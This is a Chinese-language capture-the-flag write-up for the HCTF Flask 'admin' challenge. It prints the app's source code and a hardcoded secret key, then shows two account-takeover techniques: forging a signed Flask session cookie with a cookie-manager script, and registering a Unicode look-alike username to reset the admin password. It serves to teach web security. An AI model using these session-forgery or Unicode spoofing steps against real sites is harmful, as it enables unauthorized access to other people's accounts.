首先爬一遍整个网站,发现有没注册的时候有“login
”,”register
“,
这两个页面,注册一个123用户登录后发现有 \"index“,”post“,”logout“
,”change password“
这四个界面,
根据题目提示的admin,猜测是不是要让我用admin来登录这个网站?
然后我在login界面输入用户名”admin
“,密码”123
“(弱口令)结果猝不及防
喵喵喵???还没开始就结束了?
还是来具体解题方法:欺骗服务器,假装自己是admin
解法一:flask session伪造
在”change password”页面发现了提示
https://github.com/woadsl1234/hctf_flask/blob/master/app/routes.py
#!/usr/bin/env python
# -*- coding:utf-8 -*-
from flask import Flask, render_template, url_for, flash, request, redirect, session, make_response
from flask_login import logout_user, LoginManager, current_user, login_user
from app import app, db
from config import Config
from app.models import User
from forms import RegisterForm, LoginForm, NewpasswordForm
from twisted.words.protocols.jabber.xmpp_stringprep import nodeprep
from io import BytesIO
from code import get_verify_code
@app.route(\'/code\')
def get_code():
image, code = get_verify_code()
# 图片以二进制形式写入
buf = BytesIO()
image.save(buf, \'jpeg\')
buf_str = buf.getvalue()
# 把buf_str作为response返回前端,并设置首部字段
response = make_response(buf_str)
response.headers[\'Content-Type\'] = \'image/gif\'
# 将验证码字符串储存在session中
session[\'image\'] = code
return response
@app.route(\'/\')
@app.route(\'/index\')
def index():
return render_template(\'index.html\', title = \'hctf\')
@app.route(\'/register\', methods = [\'GET\', \'POST\'])
def register():
if current_user.is_authenticated:
return redirect(url_for(\'index\'))
form = RegisterForm()
if request.method == \'POST\':
name = strlower(form.username.data)
if session.get(\'image\').lower() != form.verify_code.data.lower():
flash(\'Wrong verify code.\')
return render_template(\'register.html\', title = \'register\', form=form)
if User.query.filter_by(username = name).first():
flash(\'The username has been registered\')
return redirect(url_for(\'register\'))
user = User(username=name)
user.set_password(form.password.data)
db.session.add(user)
db.session.commit()
flash(\'register successful\')
return redirect(url_for(\'login\'))
return render_template(\'register.html\', title = \'register\', form = form)
@app.route(\'/login\', methods = [\'GET\', \'POST\'])
def login():
if current_user.is_authenticated:
return redirect(url_for(\'index\'))
form = LoginForm()
if request.method == \'POST\':
name = strlower(form.username.data)
session[\'name\'] = name
user = User.query.filter_by(username=name).first()
if user is None or not user.check_password(form.password.data):
flash(\'Invalid username or password\')
return redirect(url_for(\'login\'))
login_user(user, remember=form.remember_me.data)
return redirect(url_for(\'index\'))
return render_template(\'login.html\', title = \'login\', form = form)
@app.route(\'/logout\')
def logout():
logout_user()
return redirect(\'/index\')
@app.route(\'/change\', methods = [\'GET\', \'POST\'])
def change():
if not current_user.is_authenticated:
return redirect(url_for(\'login\'))
form = NewpasswordForm()
if request.method == \'POST\':
name = strlower(session[\'name\'])
user = User.query.filter_by(username=name).first()
user.set_password(form.newpassword.data)
db.session.commit()
flash(\'change successful\')
return redirect(url_for(\'index\'))
return render_template(\'change.html\', title = \'change\', form = form)
@app.route(\'/edit\', methods = [\'GET\', \'POST\'])
def edit():
if request.method == \'POST\':
flash(\'post successful\')
return redirect(url_for(\'index\'))
return render_template(\'edit.html\', title = \'edit\')
@app.errorhandler(404)
def page_not_found(error):
title = unicode(error)
message = error.description
return render_template(\'errors.html\', title=title, message=message)
def strlower(username):
username = nodeprep.prepare(username)
return username
由于 flask 是非常轻量级的 Web框架 ,其 session 存储在客户端中(可以通过HTTP请求头Cookie字段的session获取),且仅对 session 进行了签名,缺少数据防篡改实现,这便很容易存在安全漏洞。假设现在我们有一串 session 值为:eyJ1c2VyX2lkIjo2fQ.XA3a4A.R-ReVnWT8pkpFqM_52MabkZYIkY ,那么我们可以通过如下代码对其进行解密:
from itsdangerous import *
s = \"eyJ1c2VyX2lkIjo2fQ.XA3a4A.R-ReVnWT8pkpFqM_52MabkZYIkY\"
data,timestamp,secret = s.split(\'.\')
int.from_bytes(base64_decode(timestamp),byteorder=\'big\')
from itsdangerous import *
s = \"eyJ1c2VyX2lkIjo2fQ.XA3a4A.R-ReVnWT8pkpFqM_52MabkZYIkY\"
data,timestamp,secret = s.split(\'.\')
print(\"data=\",data,\" ; timestamp = \",timestamp,\" ; secret = \",secret)
print(base64_decode(data))
print(base64_decode(timestamp))
print(int.from_bytes(base64_decode(timestamp),byteorder=\'big\'))
print(int.from_bytes(base64_decode(secret),byteorder=\'big\'))
int.from_bytes函数
功能:res = int.from_bytes(x)的含义是把bytes类型的变量x,转化为十进制整数,并存入res中。其中bytes类型是python3特有的类型。
函数参数:int.from_bytes(bytes, byteorder, *, signed=False)。在IDLE或者命令行界面中使用help(int.from_bytes)命令可以查看具体介绍。
bytes是输入的变量; base64_decode(timestamp)=b\'\\\\\\r\\xda\\xe0\'
signed=True表示需要考虑符号位。
举例说明:int_s = int.from_bytes(s, byteorder=\'little\', signed=True),其中s=\'\\xf1\\xff\',则输出int_s=-15。
分析一下过程,\'\\x\'表示十六进制数,先把\'f1\'写成二进制数:1111 0001,\'ff\'同上:1111 1111. #小端法
由于s的高低位标志是\'little\',即\'f1\'是低位,\'ff\'是高位,所以正确的顺序应该是\'fff1\',即11111111 1111 0001.
又因为要考虑符号位,第一位是1,所以s是负数,要进行取反加一才是正确的十进制数(第一位符号位的1不变),可以得到10000000 00001111,写成十进制,就是-15,也就是int_s的结果。
上面的例子中,如果signed=False,则无符号位;
若byteorder=\'big\',则输入s的左边是高位,右边是低位。 #大端法
这里我用的是python2的环境,kali自带的py2貌似默认安装了flask ,而自己安装py3的flask一直装不上Orz
python hctf_admin.py ..eJw9kEGLwjAUhP_KkrOHtrYXwYNSWxTeCy6p5eUirtamL8aFqrRG_O8bPOxtYJiPmXmJ_blvbkbM7v2jmYh9dxKzl_j6ETMhFQzIq0EqNMSF1XVhZPnN6DRL1abgFxmqpSWHHeTagKcpJdtI54sR6ipGt3PEFKGqYlLViLyx4KtUl4UFbp-oLjbkL5rbOOgOPaRQQ6yZEuLjE_2SoVwnWK8jcsHj1QgJjORNJ_PVFFxxQbdxMl_MxXsijrf-vL__2ub6P4H8NtM1TWVOqVQ7AwkNqLTFEjlUiKCEAbjyYZ5BDtVryLCdf3DXg2sC4nBy3VVMxOPW9J93RByJ9x_TGWWP.EJH3jQ.JhGCr-bcz5dzA0veCwseiH0eqyc
https://github.com/woadsl1234/hctf_flask/blob/master/app/config.pyi
mport os
class Config(object):
SECRET_KEY = os.environ.get(\'SECRET_KEY\') or \'ckj123\'
SQLALCHEMY_DATABASE_URI = \'mysql+pymysql://root:adsl1234@db:3306/test\'
SQLALCHEMY_TRACK_MODIFICATIONS = True
session加密用的是GitHub上的一个脚本,我按照官方给的方法装不上Orz,然后自己git clone了一下,git clone大法好啊
python2 ./flask_session_cookie_manager2.py encode -s \"ckj123\" -t \"{\'_fresh\': True, \'_id\': b\'121de14bca66edf6cc98e254ab460d68f9122c75e64747a997410a84049d9295b53192aebf5c2b93641e5c58cc1596ed3850da7a17a5f3f6415ac0743afe3dc4\', \'csrf_token\': b\'d2495789467d55d9e38c2ffd63e9c578ee1b267a\', \'image\': b\'BUXE\', \'name\': \'admin\', \'user_id\': \'10\'}\"
https://github.com/woadsl1234/hctf_flask/blob/master/app/templates/index.html
{% include(\'header.html\') %}
{% if current_user.is_authenticated %}
<h1 class=\"nav\">Hello {{ session[\'name\'] }}</h1>
{% endif %}
{% if current_user.is_authenticated and session[\'name\'] == \'admin\' %}
<h1 class=\"nav\">hctf{xxxxxxxxx}</h1>
{% endif %}
<!-- you are not admin -->
<h1 class=\"nav\">Welcome to hctf</h1>
{% include(\'footer.html\') %}
解法二:Unicode欺骗
https://unicode-table.com/en/1D2E/
,在这个网站上找字符。
1.先注册一个账号 :ᴬᴰᴹᴵᴺ
,密码:456
2.修改密码:111,然后退出
3.用账号”admin“,密码:111成功登录
大致的思路是:
- 在注册的时候 ”ᴬᴰᴹᴵᴺ“ 经过strlower(),转成”ADMIN“ ,
- 在修改密码的时候 ”ADMIN“经过strlower()变成”admin“ ,
- 当我们再次退出登录的时候 ”admin“经过strlower()变成”admin“(没啥卵用,但是你已经知道了一个密码已知的”admin“,
- 而且在index.html中可以看到只要session[‘name’]==’admin’,
- 也就是只要用户名是’admin‘就可成功登录了)
所以flag为flag{ef16ac93-e900-4a1e-b877-79dfb69cd064}
暂无评论内容